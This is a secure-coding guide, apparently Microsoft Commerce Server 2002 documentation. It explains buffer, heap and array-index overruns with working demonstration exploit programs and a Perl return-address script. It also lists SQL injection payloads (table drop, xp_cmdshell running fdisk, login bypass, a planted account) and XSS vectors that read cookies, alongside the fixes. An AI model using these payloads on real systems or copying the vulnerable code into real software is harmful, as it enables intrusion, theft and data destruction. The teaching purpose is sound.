The following figure shows a sample stack at the top. The problem is that Buffer in bar() can be overwritten with the code from the attacker, so when Return Address to fog() is processed, the address is returned to the assembly code of the attacker, as shown in the second box. The attacker can add the two together using a simple copy function, shown in the third box.

To accomplish this, the attacker often has to overcome some problems, such as the fact that the user input is not completely unchecked or that only a limited number of characters will fit in the buffer. If you are working with double-byte character sets, the attacker might have to work harder, but the problems this introduces are not insurmountable.

The following program written in C shows a simple exploit of an overrun.

/*This program shows an example of how a static
  buffer overrun can be used to execute arbitrary code. Its
  objective is to find an input string that executes the function bar.
*/

#include <stdio.h>
#include <string.h>

void foo(const char* input)
{
    char buf[10];

    //What? No extra arguments supplied to printf?
    //It is a cheap trick to view the stack
    printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");

    //Pass the user input straight to secure code public enemy #1.
    strcpy(buf, input);
    printf("%s\n", buf);

    printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}

void bar(void)
{
    printf("The attack!\n");
}

int main(int argc, char* argv[])
{
    //A blatant shortcut
    printf("Address of foo = %p\n", foo);
    printf("Address of bar = %p\n", bar);
    foo(argv[1]);
    return 0;
}

This application is nearly as simple as writing "Hello, World." It starts off printing the addresses of the two functions, foo and bar, by using the %p option of the printf function, which displays an address. A real attacker hacking into an application might try to jump back into the static buffer declared in foo or find a useful function loaded from a system dynamic-link library (DLL). The objective of this exercise is to get the bar function to execute. The foo function contains a pair of printf statements that use a side effect of variable-argument functions to print the values on the stack. The problem occurs when the foo function blindly accepts user input and copies it into a 10-byte buffer.

The following is a sample for using a string as the command line argument:

[d:\]StaticOverrun.exe Hello
Address of foo = 00401000
Address of bar = 00401045
My stack looks like:
00000000
00000000
7FFDF000
0012FF80
0040108A <-- To overwrite the return address for foo.
00410EDE

Hello
Now the stack looks like:
6C6C6548 <-- You can see where "Hello" was copied in.
0000006F
7FFDF000
0012FF80
0040108A
00410EDE

Now, to test for buffer overruns, input a long string:

[d:\]StaticOverrun.exe AAAAAAAAAAAAAAAAAAAAAAAA
Address of foo = 00401000
Address of bar = 00401045
My stack looks like:
00000000
00000000
7FFDF000
0012FF80
0040108A
00410ECE

AAAAAAAAAAAAAAAAAAAAAAAA
Now the stack looks like:
41414141
41414141
41414141
41414141
41414141
41414141

And the application error message is displayed, claiming the instruction at 0x41414141 tried to access memory at address 0x41414141.

Following is an example of how to find the characters that you need to input to the application:

[d:\]StaticOverrun.exe ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Address of foo = 00401000
Address of bar = 00401045
My stack looks like:
00000000
00000000
7FFDF000
0012FF80
0040108A
00410EBE

ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Now the stack looks like:
44434241
48474645
4C4B4A49
504F4E4D
54535251
58575655

The application error message now shows that the attacker is trying to execute instructions at 0x54535251. If he looks at the ASCII charts, he sees that 0x54 is the code for the letter "T," so that is what he would like to modify.

By changing the user input, the attacker is able to manipulate where the program tries to execute the next instruction. For example:

[d:\]StaticOverrun.exe ABCDEFGHIJKLMNOPQRS
Address of foo = 00401000
Address of bar = 00401045
My stack looks like:
00000000
00000000
7FFDF000
0012FF80
0040108A
00410ECE

ABCDEFGHIJKLMNOPQRS
Now the stack looks like:
44434241
48474645
4C4B4A49
504F4E4D
00535251
00410ECE

If the attacker could send it 0x45, 0x10, 0x40 instead of QRS, he could get bar to execute. To pass these odd characters—0x10 is not printable—on the command line, an attacker can use the following Perl script named HackOverrun.pl to easily send the application an arbitrary command line:

$arg = "ABCDEFGHIJKLMNOP"."\x45\x10\x40";
$cmd = "StaticOverrun ".$arg;

system($cmd);

Running this script produces the desired result:

[d:\devstudio\myprojects\staticoverrun]perl HackOverrun.pl
Address of foo = 00401000
Address of bar = 00401045
My stack looks like:
77FB80DB
77F94E68
7FFDF000
0012FF80
0040108A
00410ECA

ABCDEFGHIJKLMNOPE?@
Now the stack looks like:
44434241
48474645
4C4B4A49
504F4E4D
00401045
00410ECA

You have been hacked!

In a real attack, the attacker would fill the first 16 characters with assembly code designed to do bad things to the victim and set the return address to the start of the buffer.

Note

  • The 64-bit Intel Itanium processor does not push the return address on the stack; rather, the return address is held in a register. This does not mean the processor is not susceptible to buffer overruns. It is just more difficult to make the overrun exploitable.


Heap Overruns

A heap overrun is much the same problem as a static buffer overrun, but it is more difficult to exploit. As in the case of a static buffer overrun, attackers can write arbitrary information into places in your application that they should not have access to. An excellent article is "w00w00 on Heap Overflows," written by Matt Conover of w00w00 Security Development (WSD). You can find this article at www.w00w00.org/files/articles/heaptut.txt.

The following application shows how a heap overrun can be exploited:

/*
  HeapOverrun.cpp
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
  Very flawed class to demonstrate a problem
*/

class BadStringBuf
{
public:
    BadStringBuf(void)
    {
        m_buf = NULL;
    }

    ~BadStringBuf(void)
    {
        if(m_buf != NULL)
            free(m_buf);
    }

    void Init(char* buf)
    {
        //Really bad code
        m_buf = buf;
    }

    void SetString(const char* input)
    {
        //This is stupid.
        strcpy(m_buf, input);
    }

    const char* GetString(void)
    {
        return m_buf;
    }

private:
    char* m_buf;
};

//Declare a pointer to the BadStringBuf class to hold our input.
BadStringBuf* g_pInput = NULL;

void bar(void)
{
    printf("You have been hacked!\n");
}

void BadFunc(const char* input1, const char* input2)
{
    //Someone said that heap overruns were not exploitable,
    //so allocate the buffer on the heap.

    char* buf = NULL;
    char* buf2;

    buf2 = (char*)malloc(16);
    g_pInput = new BadStringBuf;
    buf = (char*)malloc(16);
    //Bad programmer - no error checking on allocations

    g_pInput->Init(buf2);

    //The worst that can happen is a crash, right?
    strcpy(buf, input1);

    g_pInput->SetString(input2);

    printf("input 1 = %s\ninput2 = %s\n", buf, g_pInput->GetString());

    if(buf != NULL)
        free(buf);

}

int main(int argc, char* argv[])
{
    //Simulated argv strings
    char arg1[128];

    //This is the address of the bar function.
    char arg2[4] = {0x0f, 0x10, 0x40, 0};
    int offset = 0x40;

    //Using 0xfd is an evil trick to overcome heap corruption checking.
    //The 0xfd value at the end of the buffer checks for corruption.
    //No error checking here – it is just an example of how to
    //construct an overflow string.
    memset(arg1, 0xfd, offset);
    arg1[offset]   = (char)0x94;
    arg1[offset+1] = (char)0xfe;
    arg1[offset+2] = (char)0x12;
    arg1[offset+3] = 0;
    arg1[offset+4] = 0;

    printf("Address of bar is %p\n", bar);
    BadFunc(arg1, arg2);

    if(g_pInput != NULL)
        delete g_pInput;

    return 0;
}

When you look at the above sample, you can imagine that BadFunc was written by a programmer who was told that heap overruns were not exploitable. That programmer has also written BadStringBuf, a C++ class to hold the input buffer pointer. Its best feature is its prevention of memory leaks by freeing the buffer in the destructor. If the BadStringBuf buffer is not initialized with memory allocation function, malloc, calling the free function might cause some problems.

An attacker would notice that this application blows up when either the first or second argument becomes too long. Also, the address of the error (indicated in the error message) shows that the memory corruption occurs up in the heap. The attacker then starts the program in a debugger and look for the location of the first input string. What valuable memory could possibly adjoin this buffer? A little investigation reveals that the second argument is written into another dynamically allocated buffer—where is the pointer to the buffer? Searching memory for the bytes corresponding to the address of the second buffer—the pointer to the second buffer is sitting there just 0x40 bytes past the location where the first buffer starts. Now the attacker can change this pointer to anything at all, and any string passed as the second argument will get written to any point in the process space of the application!

As in the first example, the goal of the attacker is to get the bar function to execute, so the next step is to overwrite the pointer to reference 0x0012fe94 (in this example), which in this case happens to be the location of the point in the stack where the return address for the BadFunc function is kept.

The attacker tailors the second string to set the memory at 0x0012fe94 to the location of the bar function (0x0040100f). In this approach, the attacker does not smash the stack, so a mechanism that might guard the stack will not notice that anything has changed. If he steps through the application, the attacker will get the following results:

Address of bar is 0040100F
input 1 = 2222222222222222222222222222222222222222222222222222ö??
input2 = *4@
You have been hacked!

Note that the attacker can run this code in debug mode and step through it because the Visual C++ debug mode stack checking does not apply to the heap.


Array Indexing Errors

Array indexing errors are much less commonly exploited than buffer overruns, but these represent just an array of characters, and arrays of other types could also be used to write to arbitrary memory locations.

Following is sample code that demonstrates how an array indexing error can be used to write memory in arbitrary locations:

/*
    ArrayIndexError.cpp
*/

#include <stdio.h>
#include <stdlib.h>

int* IntVector;

void bar(void)
{
    printf("You have been hacked!\n");
}

void InsertInt(unsigned long index, unsigned long value)
{
    printf("Writing memory at %p\n", &(IntVector[index]));

    IntVector[index] = value;
}

bool InitVector(int size)
{
    IntVector = (int*)malloc(sizeof(int)*size);
    printf("Address of IntVector is %p\n", IntVector);

    if(IntVector == NULL)
        return false;
    else
        return true;
}

int main(int argc, char* argv[])
{
    unsigned long index, value;

    if(argc != 3)
    {
        printf("Usage is %s [index] [value]\n");
        return -1;
    }

printf("Address of bar is %p\n", bar);

    //Initialize the vector - 64 KB should be enough for
    //anyone <g>.
    if(!InitVector(0xffff))
    {
        printf("Cannot initialize vector!\n");
        return -1;
    }

    index = atol(argv[1]);
    value = atol(argv[2]);

    InsertInt(index, value);
    return 0;
}

A typical way to be attacked with this sort of error occurs when a user tells you how many elements to expect, and is then allowed to randomly access the array after it is created because you have failed to enforce bounds checking.

The array in our example starts at 0x00510048, and the value the attacker would like to write is the return value on the stack, which is located at 0x0012FF84. The following equation describes how the address of a single array element is determined by the base of the array, the index, and the size of the array elements:

Address of array element = base of array + index * sizeof(element)

Substituting the values into the equation produces:

0x10012FF84 = 0x00510048 + index * 4

Note that 0x10012FF84 is used in the equation instead of 0x0012FF84. A little quick work with Calc.exe shows that index is 0x3FF07FCF, or 1072725967, and that the address of bar (0x00401000) is 4198400 in decimal. Here are the program results:

[d:\]ArrayIndexError.exe 1072725967 4198400
Address of bar is 00401000
Address of IntVector is 00510048
Writing memory at 0012FF84
You have been hacked!

As you can see, this sort of error is trivial to exploit if the attacker has access to a debugger.


Format String Bugs

Format string bugs are not exactly the same as a buffer overflow, but because they lead to the same problems, they are included in this section.

The basic problem of format string bugs stems from the fact that there is no realistic way for a function that takes a variable number of arguments to determine how many arguments were passed in. (The most common functions that take a variable number of arguments, including C run-time functions, are the printf family of calls.) What makes this problem interesting is that the %n format specifier writes the number of bytes that would have been written by the format string into the pointer supplied for that argument. With a bit of tinkering, you find that somewhat random bits of the memory space of the process are now overwritten with the bytes of the attacker. Exploiting such bugs is a little difficult on Windows systems because many of the chunks of memory you would like to write are located at 0x00ffffff or below—for example, the stack will normally be found in the range of approximately 0x00120000.

The fix to the problem is relatively simple: always pass in a format string to the printf family of functions. For example, printf(input); is exploitable, and printf("%s", input); is not exploitable.

Remember that if you allow attackers to start writing memory anywhere in your application, it is just a matter of time before they figure out how to turn it into a crash or execution of arbitrary code. This bug is fairly simple to avoid. Take special care if you have custom format strings stored to help with versions of your application in different languages. If you do, make sure that the strings cannot be written by unprivileged users.


Unicode and ANSI Buffer Size Mismatches

The buffer overrun caused by Unicode and ANSI buffer size mismatches is somewhat common on Windows platforms. It occurs if you mix up the number of elements with the size in bytes of a Unicode buffer. There are two reasons that this occurrence is widespread: Microsoft Windows NT and later versions support ANSI and Unicode strings, and most Unicode functions deal with buffer sizes in wide characters, not byte sizes.

The most commonly used function that is vulnerable to this kind of bug is MultiByteToWideChar. Consider the following code:

BOOL GetName(char *szName)
{
    WCHAR wszUserName[256];

    // Convert ANSI name to Unicode.
    MultiByteToWideChar(CP_ACP, 0,
                        szName,
                        -1,
                        wszUserName,
                        sizeof(wszUserName));
    // Snip

}

The problem is the last argument of MultiByteToWideChar. The value passed into this call is sizeof(wszUserName), which is a Unicode string, 256 wide characters. A wide character is two bytes, so sizeof(wszUserName) is actually 512 bytes. Thus, the function thinks the buffer is 512 wide characters in size. Because wszUserName is on the stack, there is a potential exploitable buffer overrun.

Following is the correct way to write this function:

    MultiByteToWideChar(CP_ACP, 0,
                        szName,
                        -1,
                        wszUserName,
                        sizeof(wszUserName) / sizeof(wszUserName[0]));


Preventing Buffer Overruns

Preventing buffer overruns is a matter of writing a robust application. For an excellent resource, see Writing Solid Code by Steve Maguire (Microsoft Press, 1993).

The most important step you can take to prevent buffer overruns is to always validate all your inputs. Likewise, nothing about the internal implementation of the function, nothing other than the expected input and output of the function, should be accessible outside the function.

Safe String Handling

String handling is the single largest source of buffer overruns. Although problems with the single-byte versions are discussed in this section, the same problems apply to the wide-character string-handling functions. In addition, Windows systems support lstrcpy, lstrcat, and lstrcpyn, and the Windows shell contains similar functions, such as StrCpy, StrCat, and StrCpyN exported from Shlwapi.dll. Although the lstr family of calls varies a little in the details and the calls work with both single-byte and multibyte character sets depending on how an LPTSTR ends up being defined by the application, they have the same problems as the more familiar ANSI versions.

Function | Comment
strcpy | The strcpy function is inherently unsafe and should be used rarely, if at all. If either the destination or the source buffer is null, you end up in the exception handler. The greatest problem is that if the source string is longer than the destination buffer, an overflow occurs.
strncpy | This function is safer than its strcpy, but passing in a null or otherwise illegal pointer for source or destination will cause exceptions.
sprintf | There is almost no way to use this function safely. It is not easy to verify that the buffer is long enough for the data before calling sprintf.
_snprintf | This function is flexible and safe, but it does not guarantee the buffer is null-terminated. Specify the character count as one less than the buffer size to always allow room for the trailing null character, and always null-terminate the last character of the buffer.
Standard Template Library Strings (STL) | When you write C++ code you can use the STL. The STL has several useful member functions you can use to find characters and strings within another string and truncate the string.
gets and fgets | Do not use gets. There is no way to know whether gets will overflow the buffer. Use fgets or a C++ stream object instead


Common Web Security Mistakes

Data must be validated as it crosses the boundary between untrusted and trusted environments. By definition, trusted data is data you or an entity you explicitly trust has complete control over; untrusted data refers to everything else. Any data submitted by a user is initially untrusted data.

This section contains:

  • User Input Vulnerabilities
  • Example of Trusting Input Using Managed Code
  • Security Vulnerability: Unbounded Sizes
  • Security Vulnerability: Using Direct User Input in SQL Statements
  • User Input Remedies


User Input Vulnerabilities

All Web applications perform some action based on user requests. You should determine what is valid data and reject all other input.

The following example is based on Active Server Pages (ASP) code from a Web site that recommended Web site designers use the following Microsoft® JScript® code in their ASP-based applications to implement forms-based authentication:

// Get the username and password from the form.
if (isValidUserAndPwd(Request.form("name"),
                      Request.form("pwd"))) {
    Response.write("Authenticated!");
} else {
    Response.write("Access Denied");
}

function isValidUserAndPwd(strName, strPwd) {
    var fValid = false;
    var oConn = new ActiveXObject("ADODB.Connection");
    oConn.Open("Data Source=c:\\auth\\auth.mdb;");

    var strSQL = "SELECT count(*) FROM client WHERE " +
        "name='" + strName + "' " +
        “ and pwd='" + strPwd + "'";
    var oRS = new ActiveXObject("DODB.RecordSet");
    oRS.Open(strSQL, oConn);
    fValid = (oRS(0).Value > 0) ? true : false;

    oRS.Close();
    delete oRS;
    oConn.Close();
    delete oConn;

    return fValid;
}

Below is the client code used to send the username and password to the JScript code by using an HTTP POST:

<FORM ACTION="Logon.asp" METHOD=POST>
    <INPUT TYPE=text MAXLENGTH=32 NAME=name>
    <INPUT TYPE=password MAXLENGTH=32 NAME=pwd>
    <INPUT TYPE=submit NAME=submit VALUE="Logon">
</FORM>

The user enters a username and a password by using the HTML form shown above and then clicks the Logon button. The ASP code uses the provided username and password to build a SQL statement to query a database. If the number of rows returned by the query is greater than zero—SELECT count(*) returns the number of rows returned by the SQL query—the username and password combination are valid and the user is allowed to log on to the system.

Both the client and server code are flawed, however, because the solution takes direct user input and uses it to access a database without checking whether the input is valid. In other words, data is transferred from an untrusted source—a user—to a trusted source, the SQL database under application control.

Assume a non-malicious user enters his name, "Blake," and the password "$qu1r+," which builds the following SQL statement:

SELECT count(*) FROM client
WHERE name='Blake'
AND pwd='$qu1r+'

If this is a valid username and password combination, count(*) returns a value of at least 1 and allows the user access to the system. The query could potentially return more than 1 if two users exist with the same username and password or if an administrative error leads to the data being entered twice.

Because the username and password are unchecked by the ASP application, the attacker can send any input.

See Also

Do Not Trust User Input Directly


Do Not Trust User Input Directly

You should never trust user input directly, especially if the user input is anonymous. Remember the two golden rules: never trust user input, and always check data as it moves from an untrusted to a trusted domain.

One malicious user input scenario to be wary of occurs when your application takes user input, and then uses the input to create output for other users. For example, consider the security ramifications if you build a Web service that allows users to create and post product reviews for other users of the system to read prior to making a product purchase. Imagine that an attacker does not like ProductA but likes ProductB. The attacker creates a comment about ProductA, which will appear on the ProductA Web page, along with all the other reviews. However, the comment is this:

<meta http-equiv="refresh"
    content="2;URL=http://www.northwindtraders.com/productb.aspx">

This HTML code will send the user's browser to the product page for ProductB after the browser has spent two seconds at the page for ProductA!


Example of Trusting Input Using Managed Code

The following code shows an example of trusting input using managed code.

using System.Data.SQLClient;
using System.Data.SQLTypes;public static SqlMoney FreightByCargo(string company) {
SqlCommand cmd = new SqlCommand();
cmd.CommandText = "select sum(cost) as cost " +
         "from orders "  +
         "where companyname = '" + company + "'"; return cmd.ExecuteScalar();
}

The following examples show why this code sample is wrong, and how attackers exploit it.

User input: An example of the valid input you expect

Name: Foo Corp
SELECT sum(cost)
FROM orders
WHERE companyname='Foo Corp'

Attacker input: What an attacker actually inputs

Name: Blah' or 1=1 --
SELECT sum(cost)
FROM orders
WHERE companyname='Blah' or 1=1 -- '

In the above example, the bad input is 'Blah' or 1=1 -- '. This input is bad because the attacker can use this to test that SQL statements can be injected into the code using a plain user level privilege.

Very Bad Attacker Input

Name: b' drop table orders --
SELECT sum(cost)
FROM orders
WHERE companyname= 'b' drop table orders -- '

In the above example, the bad input is b' drop table orders -- . The input is bad because it allows the attacker to inject a SQL statement into drop tables. To accomplish this, however, the attacker must have db_owner level privileges.

Very, Very Bad Attacker Input

Name: b' xp_cmdshell('fdisk.exe') --
SELECT sum(cost)
FROM orders
WHERE companyname= 'b' xp_cmdshell('fdisk.exe') -- '

In the above example, the bad input is b' xp_cmdshell('fdisk.exe') – . This input is bad because the attacker can use it to execute system-level commands (shell to command line mode). To accomplish this, however, the attacker must be able to connect to your SQL Server databases using the sa level privilege.

A More Secure Managed Code Example

The following code sample shows how you can better prevent the above attacks from succeeding.

using System.Data.SqlServer;
using System.Data.SqlTypes; public static SqlMoney FreightByCargo(string company) {
SqlCommand cmd = new SqlCommand();
cmd.CommandText = "select sum(cost) as cost" +
"from orders " +
"where companyname = @CompanyName";
SqlParameter param = cmd.Parameters.Add("@CompanyName",
company);
return cmd.ExecuteScalar( );
}


Security Vulnerability: Unbounded Sizes

If the size of the client data is unbounded and unchecked, attackers can send as much data as they want. This could be a security issue if there exists an as-yet-unknown buffer overrun in the database code called when the SQL query is invoked. On closer examination, an attacker can easily bypass the maximum username and password size restrictions imposed by the previous client HTML form code, which restricts both fields to 32 characters, simply by not using the client code. Instead, attackers write their own client code in, for example, Perl, or just use a Telnet client.

The following is such an example, which sends a valid HTML form to Logon.asp but sets the password and username to be 32,000 letter "A"s.

use HTTP::Request::Common qw(POST GET);
use LWP::UserAgent;

$ua = LWP::UserAgent->new();
$req = POST 'http://www.northwindtraders.com/Logon.asp',
         [ pwd => 'A' x 32000,
           name => 'A' x 32000,
         ];
$res = $ua->request($req);

Do not rely on client-side HTML security checks—in this case, by thinking that the username and password lengths are restricted to 32 characters—because an attacker can always bypass such controls by bypassing the client altogether.


Security Vulnerability: Using Direct User Input in SQL Statements

Because the input is untrusted and has not been checked for validity, an attacker could change the semantics of the SQL statement. In the following example, the attacker enters a completely invalid name and password, both of which are "b" or "1" = "1," which builds the following valid SQL statement:

SELECT count(*)
FROM client
WHERE name='b' or '1'='1' and pwd='b' or '1'='1'

This statement will always return a row count value of greater than one, because the "'1' = '1'" fragment is true on both sides of the "and" clause. The attacker is authenticated without knowing a valid username or password—the input entered simply changed the way the SQL query works.

Here is another variation: an attacker who knows a username and wants to spoof that user account can do this using SQL comments—for example, two hyphens (--) in Microsoft SQL Server or the hash sign (#) in mySQL. Some other databases use the semicolon (;) as the comment symbol. Rather than entering "'b' or '1' = '1,'" the attacker enters "Cheryl' --,"which builds up the following legal SQL statement:

SELECT count(*)
FROM client
WHERE name='Cheryl' --and pwd=''

If a user named Cheryl is defined in the system, the attacker can log in because he has commented out the rest of the SQL statement that evaluates the password, so that the password is not checked.

SQL statements can be joined. For example, the following SQL statement is valid:

SELECT * from client INSERT into client VALUES ('me', 'URHacked')

This single line is actually two SQL statements. The first selects all rows from the client table, and the second inserts a new row into the same table.

Note

  • One of the reasons the INSERT statement might work for an attacker is because most people connect to SQL databases by using elevated accounts, such as the sysadmin account (sa) in SQL Server. This is yet another reason to use least-privilege principles when designing Web applications.

An attacker could use this login ASP page and enter a username of "'b' INSERT INTO client VALUES ('me', 'URHacked') --," which would build the following SQL statement:

SELECT count(*)
FROM client
WHERE name='b' INSERT INTO client VALUES ('me', 'URHacked') --and pwd=''

The password is not checked, because that part of the query is commented out. And the attacker has added a new row containing "me" as a username and "URHacked" as the password—now the attacker can log in using "me" and "URHacked."


User Input Remedies

As with all user input issues, the first rule is to determine which input is valid and to reject all other input. Other options exist and offer more functionality with potentially less security.

The following techniques reduce the threat of user input:

  • Determine what is valid input and reject everything else.
  • Use regular expressions.
  • Display user input only after sanitizing it.
  • Passwords are problematic: escape them using Server.URLEncode or HttpServerUtility.URLEncode.
  • Never use the "sa" account to log on to SQL Server from any application. It defeats the least privilege principle.
  • Do not construct SQL strings.
  • Use placeholders or stored procedures.

This section contains:

  • Input Testing Ideas
  • Be Strict About Valid Input


Input Testing Ideas

Before you deploy your site, it is recommended that you enumerate all entry points to the application: sockets, RPCs, named pipes, files, registry keys, SOAP parameters, HTTP headers, form values, querystrings, and so on. Then, use a tool that goes "under the radar" such as Perl, C#, or C++. Create input that is too big, too small, non-existent, or the wrong data type, and test it.


Be Strict About Valid Input

The valid characters for a user name can be easily restricted to a small set of valid characters, such as A-Z, a-z, and 0-9. The following server-side JScript snippet shows how to construct and use a regular expression to parse the user name at the server:

// Determine whether user name is valid.
// Valid format is 1 to 32 alphanumeric characters.
var reg = /^[A-Za-z0-9]{1,32}$/g;
if (reg.test(Request.form("name")) > 0) {
    // Username is valid.
} else {
    // Username is invalid.
}

Note the use of the 'g' option at the end of the expression just shown. This is the global option that forces the regular expression to check all input for the pattern; otherwise, it checks the first line only. Not setting the global option can have serious consequences if the attacker can force the input to span multiple lines.

Not only does this regular expression restrict the username to a small subset of characters, but also it makes sure the string is between 1 and 32 characters long.

Note

  • Note the use of "^" and "$" in the regular expression—these signify that all characters from the start (^) to the end ($) of the input must match this regular expression. Otherwise, the regular expression might match only a subset of the string. For example, /[A-Za-z0-9]{1,32}/ would only match any portion of the input string. And HTML tags or script, such as <script>alert("hi!")</script>, would match because the word "script" matches the expression.

Your code should apply a regular expression to all input, whether it is part of a form, an HTTP header, or a query string.

In the case of the file name passed to the Web server as a query string, the following regular expression, which represents a valid file name (this does not allow for directories or drive letters), would defeat any attempt to use script as part of the query string:

// Determine whether filename is valid.
// Valid format is 1 to 24 alphanumeric characters
// followed by a period, and 1 to 3 alpha characters.
var reg = /^[A-Za-z0-9]{1,24}\.[A-Za-z]{1,3}$/g;
if (reg.test(Request.Querystring("file")) > 0) {
    // Valid filename.
} else {
    // Invalid filename.
}

A common mistake made by many Web developers is to allow "safe" HTML constructs—for example, allowing a user to send <IMG> or <TABLE> tags to the Web application. Then the user can send HTML tags but nothing else, other than plain text. Do not do this. A cross-site scripting danger still exists because the attacker can embed script in some of these tags.

Following are some examples:

<img src=javascript:alert(document.domain)>
<link rel=stylesheet href="javascript:alert(document.domain)">
<input type=image src=javascript:alert(document.domain)>
<bgsound src=javascript:alert(document.domain)>
<iframe src="javascript:alert(document.domain)">
<frameset onload=vbscript:msgbox(document.cookie)></frameset>
<table background="javascript:alert(document.domain)"></table>
<object type=text/html data="javascript:alert(document.domain);"></object>
<body onload="javascript:alert(document.cookie)"></body>
<body background="javascript:alert(document.cookie)"></body>
<p style=left:expression(alert(document.cookie))>


Cross-site Scripting Issues

In a cross-site scripting attack, an attacker sends a link in e-mail to a user or otherwise points the user to a link to a Web site, and a malicious payload is in the query string embedded in the URL. The attack is particularly bad if the Web site creates an error message with the embedded query string as part of the error text.

Cross-site scripting attacks are becoming common. The main problem that causes the vulnerability is echoing user input. In addition, to be vulnerable, you need only one flawed page in your entire domain.

Note

  • Using SSL/TLS does not mitigate cross-site scripting issues.

This section contains:

  • How Cross-site Scripting Attacks Work


How Cross-site Scripting Attacks Work

The following figure shows an example of what can happen when you return data to a user. In this case, the Web site displays a personalized greeting, "Hello Blake." (This same problem can also occur, for example, when a user enters a search string to find a product or other content on your site.) After viewing the personalized content, the attacker decides to test the security of your site by adding a script to the URL, to determine whether your site will execute it.

In this sample, the script is executed, and now all users will be redirected to the attacker's Web site, www.<the attacker's server>.com. When users enter the attacker's Web site, the attacker can gather their profile data.

This attack can be used against computers behind firewalls. Many corporate local area networks (LANs) are configured such that client computers trust servers on the LAN but do not trust servers on the outside Internet. However, a server outside a firewall can fool a client inside the firewall into believing a trusted server inside the firewall has asked the client to execute a program. All the attacker needs is the name of a Web server inside the firewall that does not check fields in forms for special characters. This is not trivial to determine unless the attacker has inside knowledge, but it is possible.

For more information about cross-site scripting issues, see the article "Cross-Site Scripting Overview" at http://go.microsoft.com/fwlink/?LinkId=6717.


Building SQL Statements Securely

Building SQL strings in code is problematic. A simple way to remedy this is to leave the completion of the SQL string to the database and to not attempt the SQL string construction in your code. You can do this in two ways. The first is to pass the input of the user to a stored procedure; SQL Server supports stored procedures.

If your Web application uses open database connectivity (ODBC) and you want to use parameters, you need to use the SQLNumParams and SQLBindParam functions. If you use OLE DB, you can use the ICommandWithParameters interface.


Running with Least Privilege

Users and executable processes should run with no more privilege than is required to perform their tasks.

Note

  • If you use SQL Authentication instead of Windows Authentication for your Commerce Server site, you must take additional steps to ensure that users who access Business Desk and Commerce Server Manager do not have unnecessary privileges in the production environment.

Any serious software flaw, such as a buffer overrun, that can lead to security issues will do less damage if the compromised software is running with few privileges. Problems occur when users unintentionally execute malicious code (for example, Trojan horses in e-mail attachments or code injection through a buffer overrun) that runs with the elevated capabilities of the user. For example, the process created when a Trojan is launched inherits all the capabilities of the caller. In addition, if the user is a member of the local Administrators group, the executed code can potentially have full system privileges and object access. The potential for damage is immense.


Preventing Denial of Service Attacks

As explained previously, Denial of service (DoS) attacks deny service to valid users trying to access your site. For example, an attacker might flood your Web server with requests, rendering your Web server temporarily unavailable or unusable. Denial of service attacks are problematic because they are easy to achieve and can be anonymous.

There are four main types of Denial of service attacks: CPU starvation, memory starvation, resource (or disk space) starvation, and network bandwidth starvation. These DoS attacks are described in the following sections, as are the techniques you can use to mitigate the attacks. For more detailed information, see Writing Secure Code, by Michael Howard and David LeBlanc.

This section contains:

  • CPU Starvation Attacks
  • Memory Starvation Attacks
  • Resource Starvation Attacks
  • Network Bandwidth
  • Attacks


CPU Starvation Attacks

From the attacker's point of view, the object of a CPU starvation attack is to get your application to get stuck in a tight loop doing expensive calculations. For example, an attacker might issue multiple checkout requests to your Web site, exceeding system capacity. At that rate, your server will run out of CPU capacity in a very short time.

To mitigate CPU starvation attacks, you may partition the checkout servers and throttle the requests on the checkout servers. To do this, you direct checkouts to http://checkout.<mystore.com> in the links and place an IIS request throttle on that site.


Memory Starvation Attacks

A memory starvation attack is designed to force your Web site to consume excess memory. This type of attack usually occurs if, when coding your site, you forget to check whether an allocation or new memory request succeeded, and you assumed that memory would always be plentiful.

For example, an attacker can continuously add line items to baskets using a script that adds millions of line items. In a Commerce Server site, baskets are loaded into memory as a dictionary object, so an attacker will eventually exhaust the available memory of the server, resulting in a DoS. The Retail Solution Site mitigates this by limiting line items to 999. For your own Commerce Server site, choose a limit as needed.

To mitigate memory starvation attacks on IIS itself, use these settings:

  • Adsutil.vbs set w3svc/*/ConnectionTimeout 30
  • Adsutil.vbs set w3svc/*/UploadReadAheadSize 2000
  • Change or add the registry value MaxClientRequestBuffer=16384 under HKLM/System/CurrentControlSet/Service/w3svc/parameters/


Resource Starvation Attacks

A resource starvation attack, also known as a disk space attack, is one in which an attacker is able to consume a particular resource until it is exhausted. For example, an attacker might continuously issue requests to your Web site to create baskets or create users. If this occurs, you will run out of disk capacity.

To mitigate resource starvation attacks that use baskets, use a stored procedure to purge idle baskets, and run this using the SQL task scheduler, as shown in the following pseudo-code:

while (select outdated baskets not end of file)
    delete top 20 outdated baskets
end while

This procedure is done in a loop, and you delete only the top 20 outdated baskets to prevent locking up the baskets table. If this occurs, other transactions become blocked, and your SQL server will consequently crash.

For requests to create users, make sure you have a large disk system, and periodically delete idle users. You can do this using a script similar to the one shown for deleting baskets.


Network Bandwidth Attacks

A typical network bandwidth attack involves the echo and chargen (character generator) services. Echo replies with the input it was given, and chargen sends an endless stream of characters to any client. You typically use these two applications to diagnose network problems and to get an estimate of the available bandwidth between two points. However, an attacker might spoof a packet originating from the chargen port of the system with that service running, and send it to the echo service from the broadcast address. If this were to happen, you would have several systems exchanging packets between the echo port and the chargen port.

To mitigate network bandwidth attacks, validate each request from a user before you send an error response.


Deploying a Secure Site

You deploy a Microsoft Commerce Server 2002 Web site by obtaining and configuring the required hardware and software, installing Commerce Server 2002, unpacking your Web site, and putting in place the procedures for monitoring, managing, and securing your site.

For detailed instructions on how to deploy a sample secure Web site, see "Deploying a Secure Site" on the Microsoft TechNet Web site, located at http://go.microsoft.com/fwlink/?LinkId=8487.

For instructions about configuring your site to use Windows Authentication for database security, see Deploying Commerce Server Using Windows Authentication.


Securing Anonymous Accounts

Anonymous authentication gives users access to the public areas of your Web site, without prompting them for a user name or password. When a user attempts to connect to your public Web site, your Web server assigns the user to the Windows user account called IUSR_computername, where computername is the name of the server on which IIS is running.

Note

  • If your site is based on ASP.NET, the anonymous account is ASPNET.

By default, the IUSR_computername account is included in the Windows user group Guests. This group has security restrictions, imposed by NTFS permissions, that designate the level of access and the type of content available to public users.

